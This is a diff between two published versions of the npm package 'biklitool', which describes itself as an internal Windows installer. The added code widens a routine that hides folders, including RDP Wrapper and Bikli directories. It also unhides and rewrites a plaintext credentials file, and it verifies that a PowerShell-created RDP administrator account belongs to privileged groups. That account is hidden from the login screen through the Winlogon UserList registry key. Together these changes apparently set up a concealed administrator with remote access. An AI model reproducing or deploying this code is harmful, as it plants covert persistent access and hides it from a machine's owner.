biklitool 1.1.16 → 1.1.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -250,9 +250,12 @@ function setupBikliKey() {
250
250
 
251
251
  function hideProtectedFolders() {
252
252
  const folders = [
253
+ path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
254
+ path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
253
255
  path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
254
256
  path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
255
- path.join(programData, 'BikliWrapper')
257
+ path.join(programData, 'BikliWrapper'),
258
+ path.join(programData, 'Bikli')
256
259
  ];
257
260
  for (const folder of folders) {
258
261
  if (!fs.existsSync(folder)) continue;
@@ -276,6 +279,13 @@ function hideProtectedFolders() {
276
279
  function saveAccountCredentials(username, password) {
277
280
  const dir = path.dirname(credentialsFile);
278
281
  fs.mkdirSync(dir, { recursive: true });
282
+ if (fs.existsSync(credentialsFile)) {
283
+ try {
284
+ run(attrib, ['-h', '-s', credentialsFile], { allowFailure: true });
285
+ } catch {
286
+ // ignore
287
+ }
288
+ }
279
289
  fs.writeFileSync(credentialsFile, JSON.stringify({ username, password }, null, 2), {
280
290
  encoding: 'utf8',
281
291
  mode: 0o600
@@ -321,6 +331,7 @@ function createRdpAdministrator() {
321
331
  `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,
322
332
  `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,
323
333
  `$verified=@()`,
334
+ `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
324
335
  `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
325
336
  `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
326
337
  `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
@@ -286,9 +286,12 @@ function printStatus(status) {
286
286
 
287
287
  function hideProtectedFolders() {
288
288
  const folders = [
289
+ path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
290
+ path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
289
291
  path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
290
292
  path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
291
- path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper')
293
+ path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
294
+ path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
292
295
  ];
293
296
  for (const folder of folders) {
294
297
  if (!fs.existsSync(folder)) continue;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "biklitool",
3
- "version": "1.1.16",
3
+ "version": "1.1.18",
4
4
  "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
5
5
  "license": "BSD-3-Clause",
6
6
  "publishConfig": {